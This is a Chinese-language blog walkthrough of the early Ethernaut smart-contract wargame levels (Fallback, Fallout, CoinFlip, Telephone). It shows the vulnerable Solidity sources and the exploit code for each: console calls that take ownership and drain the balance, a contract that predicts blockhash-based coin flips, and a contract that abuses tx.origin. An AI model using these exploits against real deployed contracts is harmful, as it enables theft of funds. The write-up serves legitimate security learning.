Ethernaut(持续更新)

从头开始学区块链,昨天看到了Imagin师傅的博客。决定跟着师傅的博客和网上的资料学习下区块链入门。
第一步学习科学上网以及从水管上搞币子以及学习区块链语言。
水管:https://faucet.ropsten.be/
靶场:https://ethernaut.openzeppelin.com/level/0xdf51a9e8ce57e7787e4a27dd19880fd7106b9a5c


第一题 :Hello Ethernaut

主要是介绍基本应用。
进入后点开console。
Get new instance就可以部署靶场合约了。
随后按照他每个提示的命令进行下一步。

await contract.info()
"You will find what you need in info1()."

await contract.info1()
"Try info2(), but with "hello" as a parameter."

await contract.info2("hello")
"The property infoNum holds the number of the next info method to call."

await contract.infoNum()
42

await contract.info42()
"theMethodName is the name of the next method."

await contract.theMethodName()
"The method name is method7123949."

await contract.method7123949()
"If you know the password, submit it to authenticate()."

await contract.password()
"ethernaut0"

await contract.authenticate("ethernaut0")

然后就可以submit 了,经过判定就完成闯关了。
主要是了解了大概的交互方式。
之后给了源码

pragma solidity ^0.4.18;

contract Instance {

  string public password;
  uint8 public infoNum = 42;
  string public theMethodName = 'The method name is method7123949.';
  bool private cleared = false;

  // constructor
  function Instance(string _password) public {
    password = _password;
  }

  function info() public pure returns (string) {
    return 'You will find what you need in info1().';
  }

  function info1() public pure returns (string) {
    return 'Try info2(), but with "hello" as a parameter.';
  }

  function info2(string param) public pure returns (string) {
    if(keccak256(param) == keccak256('hello')) {
      return 'The property infoNum holds the number of the next info method to call.';
    }
    return 'Wrong parameter.';
  }

  function info42() public pure returns (string) {
    return 'theMethodName is the name of the next method.';
  }

  function method7123949() public pure returns (string) {
    return 'If you know the password, submit it to authenticate().';
  }

  function authenticate(string passkey) public {
    if(keccak256(passkey) == keccak256(password)) {
      cleared = true;
    }
  }

  function getCleared() public view returns (bool) {
    return cleared;
  }
}

都是一些function
只要await 他执行,就会给你接下来的步骤。
最后得到成功的信号。


Fallback

Look carefully at the contract's code below.

You will beat this level if

    you claim ownership of the contract
    you reduce its balance to 0
这样就已知了目的,是获得合约的权限,以及把合约的财产变为0wei。
pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
//合约Fallback继承自Ownable
contract Fallback is Ownable {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
//通过构造函数初始化贡献者的值为1000ETH
  function Fallback() public {
    contributions[msg.sender] = 1000 * (1 ether);
  }
// 将合约所属者移交给贡献最高的人,这也意味着你必须要贡献1000ETH以上才有可能成为合约的owner
  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] = contributions[msg.sender].add(msg.value);
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }
//获取请求者的贡献值
  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }
//取款函数,且使用onlyOwner修饰,只能被合约的owner调用
  function withdraw() public onlyOwner {
    owner.transfer(this.balance);
  }
//fallback函数,用于接收用户向合约发送的代币
  function() payable public {
    require(msg.value > 0 && contributions[msg.sender] > 0);// 判断了一下转入的钱和贡献者在合约中贡献的钱是否大于0
    owner = msg.sender;
  }
}

每一个合约有且仅有一个没有名字的函数。这个函数无参数,也无返回值。如果调用合约时,没有匹配上任何一个函数(或者没有传哪怕一点数据),就会调用默认的回退函数。
此外,当合约收到ether时(没有任何其它数据),这个函数也会被执行。在此时,一般仅有少量的gas剩余,用于执行这个函数(准确的说,还剩2300gas)。所以应该尽量保证回退函数使用少的gas。
下述提供给回退函数可执行的操作会比常规的花费得多一点。
1.写入到存储(storage)
2.创建一个合约
3.执行一个外部(external)函数调用,会花费非常多的gas
4.发送ether
请在部署合约到网络前,保证透彻的测试你的回退函数,来保证函数执行的花费控制在2300gas以内。

比较明了的是,转账一次0.000001必然是太费时间。
剩下只有fallback()函数可用。

攻击流程

contract.contribute({value: 1}) //首先使贡献值大于0
contract.sendTransaction({value: 1}) //触发fallback函数
contract.withdraw() //将合约的balance清零

利用了转账函数触发fallback(),从而成功过关。

4.26更


Fallout

给出了源码:

pragma solidity ^0.4.18;

import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract Fallout is Ownable {

  using SafeMath for uint256;
  mapping (address => uint) allocations;

  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(this.balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

大概可以看懂几个函数的意思,Fal1out函数是直接把调用者变为owner,
allocate大概就是记录贡献。
sendAllocation 是再贡献大于0时候,给其转账。
colluctAllocation是发送者来转账用的。
allocatorBalance返回了一个贡献数组的address。

那么这道题主要漏洞点就在于Fa1lout函数,他使用的是public类型,
代表所有人均可访问。
直接打过去再查看owner就会发现owner变成自己了。

Coin Flip

一个投硬币游戏,需要保证连胜。

pragma solidity ^0.4.18;

import 'openzeppelin-solidity/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function CoinFlip() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

遇到了新的函数。

revert():
终止执行并还原改变的状态
 block.blockhash(block.number.sub(1))表示负一高度的区块哈希,使用这种方式生成随机数,是极易被攻击利用的

合约分析
在合约的开头先定义了三个uint256类型的数据——consecutiveWins、lastHash、FACTOR,其中FACTOR被赋予了一个很大的数值,之后查看了一下发现是2^255。
之后定义的CoinFlip为构造函数,在构造函数中将我们的猜对次数初始化为0。
之后的flip函数先定义了一个blockValue,值是前一个区块的hash值转换为uint256类型,block.number为当前的区块数,之后检查lasthash是否等于blockValue,相等则revert,回滚到调用前状态。之后便给lasthash赋值为blockValue,所以lasthash代表的就是上一个区块的hash值。
之后就是产生coinflip,它就是拿来判断硬币翻转的结果的,它是拿blockValue/FACTR,前面也提到FACTOR实际是等于2^255,若换成256的二进制就是最左位是0,右边全是1,而我们的blockValue则是256位的,因为solidity里“/”运算会取整,所以coinflip的值其实就取决于blockValue最高位的值是1还是0,换句话说就是跟它的最高位相等,下面的代码就是简单的判断了。
通过对以上代码的分析我们可以看到硬币翻转的结果其实完全取决于前一个块的hash值,看起来这似乎是随机的,它也确实是随机的,然而事实上它也是可预测的,因为一个区块当然并不只有一个交易,所以我们完全可以先运行一次这个算法,看当前块下得到的coinflip是1还是0然后选择对应的guess,这样就相当于提前看了结果。因为块之间的间隔也只有10s左右,要手工在命令行下完成合约分析中操作还是有点困难,所以我们需要在链上另外部署一个合约来完成这个操作,在部署时可以直接使用http://remix.ethereum.org来部署

来自:https://www.cnblogs.com/0daybug/p/12365395.html
exp:

pragma solidity ^0.4.18;
contract CoinFlip {
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function CoinFlip() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(block.blockhash(block.number-1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue/FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

contract exploit {
  CoinFlip expFlip;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function exploit(address aimAddr) {
    expFlip = CoinFlip(aimAddr);
  }

  function hack() public {
    uint256 blockValue = uint256(block.blockhash(block.number-1));
    uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
    bool guess = coinFlip == 1 ? true : false;
    expFlip.flip(guess);
  }
}

发送十次请求就可以了。

可以查看成功次数。
4.30


Telephone

给出了源码:

pragma solidity ^0.4.18;

contract Telephone {

  address public owner;

  function Telephone() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}
Claim ownership of the contract below to complete this level.

  Things that might help

    See the Help page above, section "Beyond the console"

要求如下。
拿到合约的所有权。

分析源码,Telephone()与合约同名,根本是无法进行入侵的。
所能操控的只有changeOwner类。
tx.origin

Solidity有一个全局变量tx.origin, 它回溯整个调用栈返回最初的,
真正发起调用/交易的账户地址。在智能合约里使用这个变量做用户验证的话
,就会留下一个受钓鱼攻击的漏洞。可以看这个Stack Exchange问答:
Peter Venesses’s Blog and Solidity — Tx.Origin 

作者:末座少年
链接:https://www.jianshu.com/p/b8bb006a5b68
来源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

那就知道是要在tx.origin做文章。
那么好理解的就是
我需要搞出一个A合约,让他调用B合约的这个类,那么出发了这个方法之后,他会回溯道我的A合约,A合约的部署地址是我。那么owner自然就变成了我。
写solidity合约:

contract exploit{
    Telephone target=Telephone(0x56653e544adc382e10bb091bd12c9ed4254f1381);
    function hack()
    {
        target.changeOwner(msg.sender);
    }
}

这是hack部分
直接打过去就发现合约的owner已经是自己了。

target中填写的地址是合约地址。

官方也给出了2个攻击的例子。
可以采用。

推荐文章